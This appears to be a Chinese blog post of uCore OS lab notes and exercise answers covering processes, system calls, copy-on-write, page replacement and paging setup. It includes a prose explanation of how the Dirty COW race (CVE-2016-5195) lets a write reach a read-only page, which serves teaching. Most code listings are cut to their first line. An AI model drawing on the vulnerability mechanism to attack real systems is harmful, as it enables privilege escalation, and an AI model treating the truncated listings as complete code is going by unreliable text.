当一个用户态程序执行sys_execve
时,该程序将触发0x80
中断,并进入中断处理例程。与Lab1类似,中断处理例程的入口代码会保存trapframe
作为跳转回用户态的上下文环境。但与lab1代码所不同的是,lab5中的trap
函数实现如下:
1 | void trap(struct trapframe *tf) { |
由于trap
函数的设计,在do_execve
中,此时的current->tf
保存的就是用户态的上下文。
因此在执行load_icode
函数时,程序只会修改current->trapframe
。因为当中断处理程序返回时,CPU所加载的上下文就是current->trapframe
。
父进程复制自己的内存空间给子进程
创建子进程的函数do_fork在执行中将拷贝当前进程(即父进程)的用户内存地址空间中的合法内容到新进程中(子进程),完成内存资源的复制。具体是通过copy_range函数实现的,请补充copy_range的实现,确保能够正确执行。。
实现代码如下,详细信息以注释的形式写到代码中:
1 | /* copy_range - copy content of memory (start, end) of one process A to another process B |
简要说明如何设计实现”Copy on Write 机制“,给出概要设计,鼓励给出详细设计。
请移步扩展练习 。
阅读分析源代码,理解进程执行 fork/exec/wait/exit 的实现,以及系统调用的实现
lab5中的do_fork
函数与lab4中的实现类似,所不同的是lab5中使用set_links(proc)
函数来设置进程间的关系,而不是简单的list_add
与nr_process++
。
set_links
函数会为当前进程间设置合适的关系,其实现如下:
1 | /************************************************************* |
除了lab4熟知的list_add
与nr_process++
,该函数还设置了proc_struct
中的optr、yptr
以及cptr
成员。
其中,cptr
指针指向当前进程的子进程中,最晚创建的那个子进程,即children
;yptr
指向与当前进程共享同一个父进程,但比当前进程的创建时间更晚的进程,即younger sibling
。而optr
指针的功能则与yptr
相反,指向older sibling
。
进程间关系如下图所示
1 | +----------------+ |
do_execve
函数做的事请比较简单
ELFheader
分配特定位置的虚拟内存,并加载代码与数据至特定的内存地址,最后分配堆栈并设置trapframe
属性。该函数几乎释放原进程所有的资源,除了PCB。也就是说,do_execve
保留了原进程的PID、原进程的属性、原进程与其他进程之间的关系等等。
该函数的具体实现如下
1 | int |
do_wait
程序会使某个进程一直等待,直到(特定)子进程退出后,该进程才会回收该子进程的资源并函数返回。该函数的具体操作如下:
PROC_ZOMBIE
)。PROC_SLEEPING
并执行schedule
调度其他进程运行。当该进程的某个子进程结束运行后,当前进程会被唤醒,并在do_wait
函数中回收子进程的PCB内存资源。该函数的具体实现如下:
1 | int |
该函数与do_execve/do_wait
函数中的进程回收代码类似,但又有所不同。其具体操作如下:
·回收所有内存(除了PCB,该结构只能由父进程回收)
设置当前的进程状态为PROC_ZOMBIE
设置当前进程的退出值current->exit_code
。
如果有父进程,则唤醒父进程,使其准备回收该进程的PCB。
正常情况下,除了
initproc
和idleproc
以外,其他进程一定存在父进程。
如果当前进程存在子进程,则设置所有子进程的父进程为initproc
。这样倘若这些子进程进入结束状态,则initproc
可以代为回收资源。
执行进程调度。一旦调度到当前进程的父进程,则可以马上回收该终止进程的PCB
。
该函数的具体实现如下
1 | int do_exit(int error_code) { |
syscall
是内核程序为用户程序提供内核服务的一种方式。
在用户程序中,若需用到内核服务,则需要执行sys_xxxx
函数,例如sys_kill
:
1 | int sys_kill(int pid) { |
实际上,sys_xxxx
函数全都是用户态syscall
函数的wrapper。那些函数会设置参数并执行syscall
函数,而该函数的实现如下:
1 | static inline int syscall(int num, ...) { |
该函数会设置%eax, %edx, %ecx, %ebx, %edi, %esi
五个寄存器的值分别为syscall调用号、参数1、参数2、参数3、参数4、参数5,然后执行int中断进入中断处理例程。
在中断处理例程中,程序会根据中断号,执行syscall
函数(注意该syscall函数为内核代码,非用户库中的syscall函数)。内核syscall函数会一一取出六个寄存器的值,并根据系统调用号来执行不同的系统调用。而那些系统调用的实质就是其他内核函数的wrapper。以下为syscall
函数实现的代码:
1 | void |
等相应的内核函数结束后,程序通过之前保留的trapframe
返回用户态。一次系统调用结束。
简要说明你对 fork/exec/wait/exit函数的分析。并回答如下问题:
请分析fork/exec/wait/exit在实现中是如何影响进程的执行状态的?
PROC_RUNNABLE
,而当前进程状态不变。PROC_ZONBIE
的子进程,则回收该进程并函数返回。但若存在尚处于PROC_RUNNABLE
的子进程,则当前进程会进入PROC_SLEEPING
状态,并等待子进程唤醒。PROC_ZONBIE
,并唤醒父进程,使其处于PROC_RUNNABLE
的状态,之后主动让出CPU。请给出ucore中一个用户态进程的执行状态生命周期图(包括执行状态,执行状态之间的变换关系,以及产生变换的事件或函数调用)。
stateDiagram-v2 [*]-->UNINIT : alloc_proc UNINIT-->RUNNABLE : proc_init/wakeup_proc RUNNING-->SLEEPING : try_free_pages/do_wait/do_sleep RUNNING-->ZONBIE : do_exit RUNNABLE-->RUNNING : 调度器调度 RUNNING-->RUNNABLE : 时间片耗尽 SLEEPING-->RUNNABLE : wakeup_proc ZONBIE-->[*] : 资源回收
实现 Copy on Write (COW)机制
同时,由于COW实现比较复杂,容易引入bug,请参考 Dirty COW (CVE-2016-5195) 看看能否在ucore的COW实现中模拟这个错误和解决方案。需要有解释。
这是一个big challenge.
当一个用户父进程创建自己的子进程时,父进程会把其申请的用户空间设置为只读,子进程可共享父进程占用的用户内存空间中的页面(这就是一个共享的资源)。当其中任何一个进程修改此用户内存空间中的某页面时,ucore会通过page fault异常获知该操作,并完成拷贝内存页面,使得两个进程都有各自的内存页面。这样一个进程所做的修改不会被另外一个进程可见了。(uCore实验手册原句)
当进行内存访问时,CPU会根据PTE上的读写位PTE_P
、PTE_W
来确定当前内存操作是否允许,如果不允许,则缺页中断。我们可以在copy_range
函数中,将父进程中所有PTE中的PTE_W
置为0,这样便可以将父进程中所有空间都设置为只读。然后使子进程的PTE全部指向父进程中PTE存放的物理地址,这样便可以达到内存共享的目的。
为什么要设置父进程所有空间为只读呢,因为在之后的内存操作中,如果对这些空间进行写操作的话,程序就会触发缺页中断,那么CPU就可以在缺页中断程序中复制该内存,也就是写时复制。
为什么在copy_range函数中实现内存共享呢?因为我们可以在该函数中对其传入的
share
参数进行处理。
最终实现如下:
1 | int |
当某个进程想写入一个共享内存时,由于PTE上的PTE_W
为0,所以会触发缺页中断处理程序。此时进程需要在缺页中断处理程序中复制该页内存,并设置该页内存所对应的PTE_W
为1。
需要注意的是,在执行缺页中断处理程序中的内存复制操作前,需要先检查该物理页的引用次数。如果该引用次数已经为1了,则表明此时的物理页只有当前进程所使用,故可以直接设置该页内存所对应的
PTE_W
为1即可,不需要进行内存复制。
最终实现如下:
1 | int |
这个COW的实现效果相当不错,很好的通过了make grade
测试。
该漏洞笔者只会简单概括一下,会忽略大部分细节。更多细节请移步解读CVE-2016-5195(Dirty COW)Linux本地提权漏洞
先给出漏洞函数的代码
1 | long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm, |
执行__get_user_pages
函数时,函数参数会携带一个FOLL_WRITE
标记,用以指明当前操作是写入某个物理页。
在follow_page_mask
中,程序会找出特定的物理页。但大部分情况下第一次执行该函数时无法真正将该物理页的地址返回,因为可能存在缺页或者权限不够的情况(例如写入了一个只读页)。
此时,变量page
的值为NULL
,之后会执行faultin_page
函数对follow_page_mask
的失败进行处理。包括但不限于分配新的页、修改页权限、页数据复制等等情况(上述说明的三种情况不一定会同时发生)。然后跳转至retry
重新执行follow_page_mask
。
经过几轮的循环后,当faultin_page
函数再一次执行时,该函数会执行内存复制操作,以完成写时复制操作。同时 FOLL_WRITE
标记将会被抹去 ,之后跳转回retry
。
因为COW已经执行完成,对于新的物理页无论是读还是写都没有问题,所以在下一次执行
follow_page_mask
函数时一定会返回该物理页,所以该标记已经失去了作用,可以被抹去。
但此时需要注意的是,retry
下的第一条语句是cond_resched
函数,它将会执行线程调度,执行其他线程。但倘若调度到的线程将之前新创建的物理页删除,则一旦重新调度回当前线程后,执行follow_page_mask
返回的是之前的只读页。
为什么第一次执行
follow_page_mask
时返回NULL,而这一次执行返回的是只读页呢?因为第一次执行时有
FOLL_WRITE
标记,权限不够,所以会返回NULL。而这次的执行由于不存在FOLL_WRITE
标记,所以该操作会被认定为读取而不是写入,因此直接返回之前的只读物理页的地址。
之后该只读页被添加到page数组,并在接下来的操作中被成功修改。这就是脏牛漏洞的大致原理。
uCore
Lab 4时写下的一些笔记进程是指一个具有一定独立功能的程序在一个数据集合上的一次动态执行过程,其中包括正在运行的一个程序的所有状态信息。
进程是程序的执行,有核心态/用户态,是一个状态变化的过程
进程的组成包括程序、数据块和进程控制块PCB。
进程控制块,Process Control Block, PCB。
进程的生命周期通常有6种情况:进程创建、进程执行、进程等待、进程抢占、进程唤醒、进程结束。
部分周期没有在图中标注。
引起进程创建的情况:
进程等待(阻塞)的情况:
只有该进程本身才能让自己进入休眠,但只有外部(例如操作系统)才能将该休眠的进程唤醒。
引起进程被抢占的情况
唤醒进程的情况:
进程只能被别的进程或操作系统唤醒。
进程结束的情况
kill
(强制)将处于挂起状态的进程映像在磁盘上,目的是减少进程占用的内存。
其模型图如下
以下是状态切换的简单介绍
线程是进程的一部分,描述指令流执行状态,是进程中的指令执行流最小单位,是CPU调度的基本单位。
进程的资源分配角色:进程由一组相关资源构成,包括地址空间、打开的文件等各种资源。
线程的处理机调度角色:线程描述在进程资源环境中指令流执行状态。
线程有三种实现方式
用户线程是由一组用户级的线程库函数来完成线程的管理,包括线程的创建、终止、同步和调度等。
内核线程是由内核通过系统调用实现的线程机制,由内核完成线程的创建、终止和管理。
内核线程的特征
用户线程可以自定义调度算法,但存在部分缺点。而内核线程不存在用户线程的各种缺点。
所以轻权进程是用户线程与内核线程的结合产物。
内核支持的用户线程。一个进程可包含一个或多个轻权进程,每个轻权进程由一个单独的内核线程来支持。
过于复杂以至于优点没有体现出来,最后演化为单一的内核线程支持。以下是其模型图:
进程切换的要求:速度要快。
进程切换涉及到进程控制块PCB结构.
内核为每个进程维护了对应的进程控制块(PCB)
内核将相同状态的进程的PCB放置在同一队列里。
其中,uCore中PCB结构如下
1 | enum proc_state { |
由于进程数量可能较大,倘若从头向后遍历查找符合某个状态的PCB,则效率会十分低下,因此使用了哈希表作为遍历所用的数据结构。
uCore中,内核的第一个进程idleproc
会执行cpu_idle
函数,并从中调用schedule
函数,准备开始调度进程。
1 | void cpu_idle(void) { |
schedule
函数会先清除调度标志,并从当前进程在链表中的位置开始,遍历进程控制块,直到找出处于就绪状态的进程。
之后执行proc_run
函数,将环境切换至该进程的上下文并继续执行。
需要注意的是,这个进程调度过程中不能被CPU中断给打断,原因是这可能造成条件竞争。
1 | void |
proc_run
函数会设置TSS中ring0的内核栈地址,同时还会加载页目录表的地址。等到这些前置操作完成后,最后执行上下文切换。
同样,设置内核栈地址与加载页目录项等这类关键操作不能被中断给打断。
1 | void proc_run(struct proc_struct *proc) { |
切换上下文的操作基本上都是直接与寄存器打交道,所以switch_to
函数使用汇编代码编写,详细信息以注释的形式写入代码中。
1 |
|
在Unix中,进程通过系统调用fork
和exec
来创建一个进程。
fork
把一个进程复制成两个除PID以外完全相同的进程。exec
用新进程来重写当前进程,PID没有改变。fork
创建一个继承的子进程。该子进程复制父进程的所有变量和内存,以及父进程的所有CPU寄存器(除了某个特殊寄存器,以区分是子进程还是父进程)。
fork
函数一次调用,返回两个值。父进程中返回子进程的PID,子进程中返回0。
fork
函数的开销十分昂贵,其实现开销来源于
而且,在大多数情况下,调用fork
函数后就紧接着调用exec
,此时fork
中的内存复制操作是无用的。因此,fork
函数中使用写时复制技术(Copy on Write, COW)。
空闲进程主要工作是完成内核中各个子系统的初始化,并最后用于调度其他进程。该进程最终会一直在cpu_idle
函数中判断当前是否可调度。
由于该进程是为了调度进程而创建的,所以其need_resched
成员初始时为1。
uCore创建该空闲进程的源代码如下
1 | // 分配一个proc_struct结构 |
第一个内核进程是未来所有新进程的父进程或祖先进程。
uCore创建第一个内核进程的代码如下
1 | // 创建init的主线程 |
在kernel_thread
中,程序先设置trapframe
结构,最后调用do_fork
函数。注意该trapframe
部分寄存器ebx、edx、eip
被分别设置为目标函数地址、参数地址以及kernel_thread_entry地址(稍后会讲)。
1 | int |
do_fork
函数会执行以下操作
1 | int |
do_fork
函数中的copy_thread
函数会执行以下操作
将kernel_thread
中创建的新trapframe
内容复制到该proc
的tf
成员中,并压入该进程自身的内核栈。
设置trapframe
的eax
寄存器值为0,esp
寄存器值为传入的esp
,以及eflags
加上中断标志位。
设置eax寄存器的值为0,是因为子进程的fork函数返回的值为0。
最后,设置子进程上下文的eip
为forkret
,esp
为该trapframe
的地址。
1 | static void |
当该子进程被调度运行,上下文切换后(即此时current为该子进程的PCB地址),子进程会跳转至forkret
,而该函数是forkrets
的一个wrapper。
1 | static void forkret(void) { |
forkrets
是干什么用的呢?从current->tf
中恢复上下文,跳转至current->tf->tf_eip
,也就是kernel_thread_entry
。
1 | # return falls through to trapret... |
kernel_thread_entry
的代码非常简单,压入%edx
寄存器的值作为参数,并调用%ebx
寄存器所指向的代码,最后保存调用的函数的返回值,并do_exit
。
以initproc
为例,该函数此时的%edx
即"Hello world!!"
字符串的地址,%ebx
即init_main
函数的地址。
1 | . |
kernel_thread
函数设置控制流起始地址为kernel_thread_entry
的目的,是想让一个内核进程在执行完函数后能够自动调用do_exit
回收资源。
这里只简单介绍进程的有序终止。
exit()
,完成进程资源回收。exit
函数调用的功能分配并初始化一个进程控制块。
alloc_proc函数(位于kern/process/proc.c中)负责分配并返回一个新的struct proc_struct结构,用于存储新建立的内核线程的管理信息。ucore需要对这个结构进行最基本的初始化,你需要完成这个初始化过程。
相关实现代码如下
1 | static struct proc_struct * alloc_proc(void) { |
struct context context
和struct trapframe *tf
成员变量含义和在本实验中的作用是什么?struct context context
:储存进程当前状态,用于进程切换中上下文的保存与恢复。
需要注意的是,与trapframe
所保存的用户态上下文不同,context保存的是线程的当前上下文。这个上下文可能是执行用户代码时的上下文,也可能是执行内核代码时的上下文。
struct trapframe* tf
:无论是用户程序在用户态通过系统调用进入内核态,还是线程在内核态中被创建,内核态中的线程返回用户态所加载的上下文就是struct trapframe* tf
。 所以当一个线程在内核态中建立,则该新线程就必须伪造一个trapframe
来返回用户态。
思考一下,从用户态进入内核态会压入当时的用户态上下文
trapframe
。
两者关系:以kernel_thread
函数为例,尽管该函数设置了proc->trapframe
,但在fork
函数中的copy_thread
函数里,程序还会设置proc->context
。两个上下文看上去好像冗余,但实际上两者所分的工是不一样的。
进程之间通过进程调度来切换控制权,当某个fork
出的新进程获取到了控制流后,首当其中执行的代码是current->context->eip
所指向的代码,此时新进程仍处于内核态,但实际上我们想在用户态中执行代码,所以我们需要从内核态切换回用户态,也就是中断返回。此时会遇上两个问题:
proc->context.eip = (uintptr_t)forkret
的用处。forkret
会使新进程正确的从中断处理例程中返回。proc_struct->tf
的用处。中断返回时,新进程会恢复保存的trapframe
信息至各个寄存器中,然后开始执行用户代码。为新创建的内核线程分配资源
do_fork的作用是,创建当前内核线程的一个副本,它们的执行上下文、代码、数据都一样,但是存储位置不同。在这个过程中,需要给新内核线程分配资源,并且复制原进程的状态。
实现代码如下,详细信息以注释的形式写到代码中:
1 | int do_fork(uint32_t clone_flags, uintptr_t stack, struct trapframe *tf) { |
请说明ucore是否做到给每个新fork的线程一个唯一的id?请说明你的分析和理由。
get_pid
这个函数其实我一开始是没打算研究的,谁知道竟然出成题目了T_T。
uCore中,每个新fork的线程都存在唯一的一个ID,理由如下:
在函数get_pid
中,如果静态成员last_pid
小于next_safe
,则当前分配的last_pid
一定是安全的,即唯一的PID。
但如果last_pid
大于等于next_safe
,或者last_pid
的值超过MAX_PID
,则当前的last_pid
就不一定是唯一的PID,此时就需要遍历proc_list
,重新对last_pid
和next_safe
进行设置,为下一次的get_pid
调用打下基础。
之所以在该函数中维护一个合法的PID
的区间,是为了优化时间效率。如果简单的暴力搜索,则需要搜索大部分PID和所有的线程,这会使该算法的时间消耗很大,因此使用PID
区间来优化算法。
get_pid
代码如下:
1 | // get_pid - alloc a unique pid for process |
阅读代码,理解 proc_run 函数和它调用的函数如何完成进程切换的。
请移步切换流程
idleproc
和initproc
。idleproc
和initproc
的信息请移步 idleproc的创建 和 initproc的创建local_intr_save(intr_flag);....local_intr_restore(intr_flag);
在这里有何作用?请说明理由。proc_run
中,当刚设置好current
指针为下一个进程,但还未完全将控制权转移时,如果该过程突然被一个中断所打断,则中断处理例程的执行可能会引发异常,因为current
指针指向的进程与实际使用的进程资源不一致。实现支持任意大小的内存分配算法
考虑到现在的slab算法比较复杂,有必要实现一个比较简单的任意大小内存分配算法。可参考本实验中的slab如何调用基于页的内存分配算法来实现first-fit/best-fit/worst-fit/buddy等支持任意大小的内存分配算法。
]]>暂鸽,后补。
uCore
Lab 3时写下的一些笔记虚拟内存是CPU可以看到的“内存”。
当程序访问内存遇上特殊情况时,CPU会执行第十四号中断处理程序——缺页处理程序来处理。
特殊情况有以下两种
当程序触发缺页中断时,CPU会把产生异常的线性地址存储在CR2寄存器中,并且把页访问异常错误码保存在中断栈中。
其中,页访问异常错误码的位0为1表示对应物理页不存在;位1为1表示写异常;位2为1表示访问权限异常。
由于虚拟内存空间比物理内存空间大得多,所以必须在合适的情况下,将不常用的页面调至外存,或者将待用的页面从外存调入内存中。 这个过程对应用程序无感。 而什么时候调进调出,选择哪个页面调出,这都是值得考究的,这就是使用页面置换算法的目的。
当物理页面不够用时,需要将某个页面置换到外存中。
那么该置换哪个物理页面呢?这就是页面置换算法的用处。
置换页面的选择范围仅限于当前进程占用的物理页面内.
上述的两种实现都需要维护以及遍历搜索某个数据结构,
同时LRU对于过去的访问情况统计过于细致,所以该方法较为复杂。
当前时刻前$\tau$个内存访问的页引用是工作集。其中$\tau$被称为窗口大小。
换出不在工作集中的页面
通过调节常驻集大小,使每个进程的缺页率保持在一个合理的范围内。
结构体变量check_mm_struct
用于管理虚拟内存页面,其结构体如下
1 | // the control struct for a set of vma using the same PDT |
当分配出新的虚拟页时,程序会执行insert_vma_struct
函数,此时虚拟页vma_struct
就会被插入mm_struct::mmap_list
双向链表中。
若程序首次访问该内存而触发缺页中断时,程序会在缺页处理程序中为该虚拟页划分出一块新的物理页。同时,还会更新mm_struct::pgdir
上的对应页表条目,之后该页的内存访问即可正常执行。
在FIFO页面置换算法中,初始时,mm_struct
中的sm_priv
会被设置为pra_list_head
。而pra_list_head
是一个双向链表的起始结点,该双向链表用于将可交换的已分配物理页串起来。
swap_manager
与pmm_manager
类似,都设置了一个用于管理某个功能的模块。
1 | struct swap_manager |
若使用FIFO页面置换算法,则在缺页中断程序中,程序只会换入目标物理页,而不会主动换出。
只有在分配空闲物理页时,若pmm_manager->alloc_pages(n)
失败,则程序才会执行一次页面换出,以腾出空闲的物理页,并重新分配。
swap_in
函数只会将目标物理页加载进内存中,而不会修改页表条目。所以相关的标志位设置必须在swap_in
函数的外部手动处理。而swap_out
函数会先执行swap_out_victim
,找出最适合换出的物理页,并将其换出,最后刷新TLB。需要注意的是swap_out
函数会在函数内部设置PTE,当某个页面被换出后,PTE会被设置为所换出物理页在硬盘上的偏移。
1 | cprintf("swap_out: i %d, store page in vaddr 0x%x to disk swap entry %d\n", i, v, page->pra_vaddr/PGSIZE+1); |
当PTE所对应的物理页存在于内存中,那么该PTE就是正常的页表条目,可被CPU直接寻址用于转换地址。但当所对应的物理页不在内存时,该PTE就成为swap_entry_t
,保存该物理页数据在外存的偏移位置。相关代码如下:
1 | /* |
同时,不是所有物理页面都可以置换,例如内核关键代码和数据等等,所以在分配物理页时,需要对于那些可被置换的物理页执行swap_map_swappable
函数,将该物理页加入到mm_struct::sm_priv
指针所指向的双向链表中,换入和换出操作都会操作该链表(插入/移除可交换的已分配物理页)。
数据结构Page
和vma_struct
分别用于管理物理页和虚拟页,其结构如下:
1 | // 用于描述某个虚拟页的结构 |
vma_struct
时,程序会在insert_vma_struct
函数中设置其vm_mm
成员为某个mm_struct
,这样便于后续的管理。pgdir_alloc_page
中,程序会设置Page
的pra_vaddr
成员,将其设置为当前物理页所对应的虚拟地址,之后便可通过Page->pra_vaddr->pte
一条链,直接找到当前物理页地址所对应的PTE条目。同时,也可通过pra_vaddr
来确定对应外存的相对偏移page->pra_vaddr/PGSIZE+1
。Page::page_link
用于将空闲物理页连接至双向链表中,而page::pra_page_link
用于将可交换的已分配物理页连接至另一个双向链表中,注意两者的用途是不同的。填写已有实验
给未被映射的地址映射上物理页
完成do_pgfault(mm/vmm.c)函数,给未被映射的地址映射上物理页。设置访问权限 的时候需要参考页面所在 VMA 的权限,同时需要注意映射物理页时需要操作内存控制 结构所指定的页表,而不是内核的页表。
实验代码如下
1 | int do_pgfault(struct mm_struct *mm, uint32_t error_code, uintptr_t addr) { |
EFLAGS
,CS
, EIP
,错误码和中断号至当前内核栈中。补充完成基于FIFO的页面替换算法
完成vmm.c中的do_pgfault函数,并且在实现FIFO算法的swap_fifo.c中完成map_swappable和swap_out_victim函数。
FIFO
中,当新加入一个物理页时,我们只需将该物理页加入至链表首部即可。当需要换出某个物理页时,选择链表末尾的物理页即可。
相关实现如下
1 | static int |
如果要在ucore上实现"extended clock页替换算法"请给你的设计方案,现有的swap_manager框架是否足以支持在ucore中实现此算法?如果是,请给你的设计方案。如果不是,请给出你的新的扩展和基此扩展的设计方案。并需要回答如下问题
PTE_P
(Present)和PTE_D
(Dirty)位均为0。PTE_P
和PTE_D
。实现识别dirty bit的 extended clock页替换算法
在FIFO
的基础上,实现swap_out_victim
函数即可。
该函数中查找一块可用于换出的物理页,最多只需要遍历三次:
这里需要注意对于PTE_D
的操作,若第一次、第二次遍历都找不到符合要求的物理页,则必须对PTE_D
下手,重置该标志位。还有一点需要注意,在每次修改PTE标志位后,都需要重置TLB缓存。
swap_out_victim
相关代码如下(偷了个小懒,每次遍历链表都是从头开始,同时其余函数沿用FIFO
):
1 | static int |
实现不考虑实现开销和效率的LRU页替换算法
遇到了一个较为麻烦的问题:如何在正常访问内存时设置swap_manager
中相关链表上物理页的LRU,留坑…
uCore
Lab 2时写下的一些笔记操作系统需要知道了解整个计算机系统中的物理内存如何分布的,哪些被可用,哪些不可用。其基本方法是通过BIOS中断调用来帮助完成的。bootasm.S
中新增了一段代码,使用BIOS中断检测物理内存总大小。
在讲解该部分代码前,先引入一个结构体
1 | struct e820map { // 该数据结构保存于物理地址0x8000 |
以下是bootasm.S中新增的代码,详细信息均以注释的形式写入代码中。
1 | probe_memory: |
这部分代码执行完成后,从BIOS中获得的内存分布信息以结构体e820map
的形式写入至物理0x8000
地址处。稍后ucore的page_init函数会访问该地址并处理所有的内存信息。
审计lab2/tools/kernel.ld
这个链接脚本,我们可以很容易的发现,链接器设置kernel的链接地址(link address)为0xC0100000
,这是个虚拟地址。在uCore的bootloader中,bootloader使用如下语句来加载kernel:
1 | readseg(ph->p_va & 0xFFFFFF, ph->p_memsz, ph->p_offset); |
0xC0010000 & 0xFFFFFF == 0x00100000
即kernel最终被装载入物理地址0x10000
处,其相对偏移为-0xc0000000
,与uCore中所设置的虚拟地址的偏移量相对应。
需要注意的是,在lab2的一些代码中会使用到如下两个变量,但这两个变量并没有被定义在任何C语言的源代码中:
1 | extern char end[]; |
实际上,它们定义于kernel.ld
这个链接脚本中
1 | . = ALIGN(0x1000); |
edata
表示kernel
的data
段结束地址;end
表示bss
段的结束地址(即整个kernel
的结束地址)
edata[]
和 end[]
这些变量是ld根据kernel.ld链接脚本生成的全局变量,表示相应段的结束地址,它们不在任何一个.S、.c或.h文件中定义,但仍然可以在源码文件中使用。
在uCore中,CPU先在bootasm.S(实模式)中通过调用BIOS中断,将物理内存的相关描述符写入特定位置0x8000
,然后读入kernel至物理地址0x10000
、虚拟地址0xC0000000
。
而kernel在page_init
函数中,读取物理内存地址0x8000
处的内存,查找最大物理地址,并计算出所需的页面数。虚拟页表VPT(Virtual Page Table)
的地址紧跟kernel
,其地址为4k对齐。虚拟地址空间结构如下所示:
1 | /* * |
完成物理内存页管理初始化工作后,其物理地址的分布空间如下
1 | +----------------------+ <- 0xFFFFFFFF(4GB) ---------------------------- 4GB |
易知,其页表地址之上的物理内存空间是空闲的(除去保留的内存),故将该物理地址之下的物理空间对应的页表全部设置为保留(reserved)。并将这些空闲的内存全部添加进页表项中。
在保护模式中,x86 体系结构将内存地址分成三种:逻辑地址(也称虚拟地址)、线性地址和物理地址。
%cr3
寄存器中。启动页机制的代码很简单,其对应的汇编代码为
1 | # labcodes/lab2/kern/init/entry.S |
首先,将一级页表 __boot_pgdir (页目录表PDT)的物理基地址加载进%cr3
寄存器中。
该一级页表暂时将虚拟地址 0xC0000000 + (0~4M) 以及虚拟地址 (0~4M) 设置为物理地址 (0-4M) 。
之后会重新设置一级页表的映射关系。
为什么要将两段虚拟内存映射到同一段物理地址呢?思考一下,答案就在下方。
之后,设置%cr0
寄存器中PE、PG、AM、WP、NE、MP位,关闭TS 与EM 位,以启动分页机制。
先介绍一下
%cr0
寄存器主要3个标志位的功能:
- Protection Enable: 启动保护模式,默认只是打开分段。
- Paging: 设置分页标志。只有PE和PG位同时置位,才能启动分页机制。
- Write Protection: 当该位为1时,CPU会禁止ring0代码向read only page写入数据。这个标志位主要与写时复制有关系。
除PE、PG与WP 的其他标志位与分页机制关联不大,其设置或清除的原因盲猜可能是通过启动分页机制这个机会来顺便做个初始化。
当改变PE和PG位时,必须小心。只有当执行程序至少有部分代码和数据在线性地址空间和物理地址空间中具有相同地址时,我们才能改变PG位的设置。
因为当
%cr0
寄存器一旦设置,则分页机制立即开启。此时这部分具有相同地址的代码在分页和未分页之间起着桥梁的作用。无论是否开启分页机制,这部分代码都必须具有相同的地址。而这一步的操作能否成功,关键就在于一级页表的设置。一级页表将虚拟内存中的两部分地址KERNBASE+(0-4M) 与 (0-4M) 暂时都映射至物理地址 (0-4M) 处,这样就可以满足上述的要求。
最后,必须来个简单的jmp
指令,将eip
从物理地址“修改”为虚拟地址。
在修改该了PE位之后程序必须立刻使用一条跳转指令,以刷新处理器执行管道中已经获取的不同模式下的任何指令。
kern_entry
中启动页机制。pmm_init
中建立双向链表来管理物理内存,并设置一级页表(页目录表)与二级页表。lab2相对于lab1,新增了页机制相关的处理过程,其他过程没有改变。
uCore中用于管理物理页的结构如下所示
1 | /* * |
目前在lab2中,flags可以设置的位只有reserved
位和Property
位。
reserved
位表示当前页是否被保留,一旦保留该页,则该页无法用于分配;
Property
位表示当前页是否已被分配,为1则表示已分配。
所有的数据结构Page都存放在一维Page结构数组中。但请注意,这并非虚拟页表(VPT),即该一维Page结构数组并非分页机制用于将虚拟地址转换为物理地址这个过程所用到的一级与二级页表,它们只是用于设置对应物理页表的相关属性,例如当前物理页表被二级页表的引用次数等等。
同时,该一维Page结构数组的存储位置与虚拟页表VPT的存储位置不同。前者的起始存储地址为kernel结尾地址向上4k对齐后的第一个物理页面,而后者则存储于指定虚拟地址0xFAC00000
。
页目录表使用线性地址的首部(PDX, 10bit)作为索引,二级页表使用线性地址的中部(PTX, 10bit)作为索引,而Page结构数组使用物理地址的首部与中部(PPN, 20bit)作为索引(注意是物理地址)。
为了加快查找,所有连续空闲pages中的第一个Page结构都会构成一个双向链表。相互链接,其第一个结点是free_area.free_list
1 | /* free_area_t - maintains a doubly linked list to record free (unused) pages */ |
每个页表项(PTE)都由一个32位整数来存储数据,其结构如下
1 | 31-12 9-11 8 7 6 5 4 3 2 1 0 |
0 - Present: 表示当前PTE所指向的物理页面是否驻留在内存中
1 - Writeable: 表示是否允许读写
2 - User: 表示该页的访问所需要的特权级。即User(ring 3)是否允许访问
3 - PageWriteThough: 表示是否使用write through缓存写策略
4 - PageCacheDisable: 表示是否不对该页进行缓存
5 - Access: 表示该页是否已被访问过
6 - Dirty: 表示该页是否已被修改
7 - PageSize: 表示该页的大小
8 - MustBeZero: 该位必须保留为0
9-11 - Available: 第9-11这三位并没有被内核或中断所使用,可保留给OS使用。
12-31 - Offset: 目标地址的后20位。
因为目标地址以4k作为对齐标准,所以该地址的低12位永远为0,故这12位空间可用于设置标志位。
自映射的好处
页表自映射的关键点
把所有的页表(4KB * 1024个)放到连续的4MB 虚拟地址 空间中,并且要求这段空间4MB对齐,这样,就会有一张虚拟页的内容与页目录的内容完全相同。
页目录结构必须和页表结构相同。
此时在页目录表中,会存在一个页目录条目,该页目录条目指向某个二级页表。而该二级页表的物理地址,正是页目录表所处于物理页的物理地址。
即,页目录表中存在一个页目录条目,该条目内含的物理地址就是页目录表本身的物理地址。
uCore中的这条代码证实了这个结论:
1 | // recursively insert boot_pgdir in itself |
而下面这张图演示了其指向过程:
注意页目录表此时存储于VPT的4MB范围中。
graph LR;PDT-->PT1PDT-->PT2/PDTPT1-->PhyPage1PT1-->PhyPage2PT2/PDT-->PhyPage3/PT1PT2/PDT-->PhyPage4/PT2
参考:页表自映射
在原先的lab1中,bootloader所设置的栈起始地址为0x7c00
,之后的uCore的代码也沿用了这个栈,但仍然划分出了一个全局数组作为TSS上的ring0栈地址(该全局数组位于uCore的bss段)。
注意此时的两个内核栈是不一样的,一个是中断外使用的栈,另一个是中断内使用的栈。
而在lab2中,栈稍微做了一些改变。bootloader所设置的栈起始地址仍然为0x7c00
,但在将uCore加载进内存之后,在kern_entry
中,该部分代码在启动页机制后将栈设置为uCore data段上的一个全局数组的末尾地址bootstacktop
(8KB),并也在gdt_init
将TSS ring0栈地址设置为了bootstacktop
。
与Lab1不同,之后内核可以使用的内核栈只有一个。
中断处理程序可能会从高地址开始,向下覆盖ring3的栈数据。这个漏洞可能是因为未完全实现的内存管理机制所导致的。
填写已有实验,将完成的实验1中的代码添加进实验2中。
这个没什么好说的,一个个照搬就成。
实现 first-fit 连续物理内存分配算法。
原先的uCore实验2代码中几乎已经完全实现了first-fit算法,但其中仍然存在一个问题,以至于无法通过check。什么问题呢:
first-fit
算法要求将空闲内存块按照地址从小到大的方式连起来。
但uCore中的代码没有实现这一点。所以要手动修改相关的代码。
default_init_memmap
该函数将新页面插入链表时,没有按照地址顺序插入
1 | list_add(&free_list, &(base->page_link)); |
